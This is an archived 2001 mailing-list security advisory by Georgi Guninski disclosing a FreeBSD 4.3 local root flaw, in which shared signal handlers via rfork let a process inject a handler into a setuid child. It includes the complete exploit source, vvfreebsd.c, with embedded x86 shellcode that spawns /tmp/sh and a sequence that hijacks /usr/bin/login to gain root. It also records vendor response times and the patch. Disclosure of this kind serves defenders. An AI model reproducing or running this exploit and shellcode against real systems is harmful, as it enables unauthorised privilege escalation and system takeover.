FreeBSD 4.3 local root, yet Linux and *BSD much better than Windows

From: Georgi Guninski (guninskiat_private)
Date: Tue Jul 10 2001 - 07:17:31 PDT

  • Next message: Theo Van Dinter: "Re: How Google indexed a file with no external link" 

    Georgi Guninski security advisory #48, 2001

FreeBSD 4.3 local root, yet Linux and *BSD much better than Windows

Systems affected:
FreeBSD 4.3 and probably earlier versions.

Risk: High
Date: 10 July 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission.

Disclaimer:
The information in this advisory is believed to be true based on
experiments though it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality 
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.


Description:

There is local root compromise in FreeBSD 4.3 due to design flaw
which allows injecting signal handlers in other processes.


Details:
The problem is rfork(RFPROC|RFSIGSHARE) which shares the signal
handlers.
If the child does exec() on a setuid program and then the parent set a
signal handler, the signal handler is replicated in the child.
The address of the signal handler may be in the environment and after
sending
a signal to the child our signal handler gets executed.
Examine the code for more information.



Exploit:

Examine the source and don't send me mail if you get SEGV.
http://www.guninski.com/vvfreebsd.c

-------------vvfreebsd.c----------------------

/*
FreeBSD 4.3 local root exploit using shared signals.
Written by Georgi Guninski http://www.guninski.com
*/

#include <stdio.h>
#include <signal.h>
#include <unistd.h>
int vv1;

#define MYSIG SIGINT


//exec "/tmp/sh", shellcode gotten from the internet and modified
unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                  "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
                  "\xb0\x3b\x50\xcd\x80\x90\x90\x90";

typedef (*PROG)();
extern char **environ;

int main(int ac,char **av)
{
int pid;
//(*(PROG)bsdshell)();
if(!(vv1=getenv("vv")))
 {
  setenv("vv",bsdshell,1);
  if(!execle(av[0],"vv",NULL,environ))
   {
    perror("weird exec");
    exit(1);
   }
 }

printf("vvfreebsd. Written by Georgi Guninski\n");
printf("shall jump to %x\n",vv1);

if(!(pid=rfork(RFPROC|RFSIGSHARE)))
 {
  printf("child=%d\n",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
//  if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
  if(!execl("/usr/bin/login","login",0))
   {
    perror("exec setuid failed");
    exit(2);
   };
 }
sleep(2);
signal(MYSIG,(sig_t)vv1);
sleep(2);
kill(pid,MYSIG);
printf("done\n");
while(42);
}




----------------------------------------------

Workaround/Soltution:
As far as I know patches for this problem are commited for both
-current and -stable.
From "CVS log for src/sys/kern/kern_exec.c"
[MFC: do not share sigs after an exec]
The main diff seems to be at:
http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/kern_exec.c.diff?
r1=1.107.2.7&r2=1.107.2.8&f=h

Vendor status:
FreeBSD was informed on 2 July 2001 (sent them broken attachment on 1
July).

Some comparison of vendor response times from my personal experience:
FreeBSD seem to have fixed this in 7 days.
OpenBSD fixed my previous advisory in 6 days.
Microsoft are much slower.

Regards,
Georgi Guninski
http://www.guninski.com

    This archive was generated by hypermail 2b30 : Tue Jul 10 2001 - 09:30:42 PDT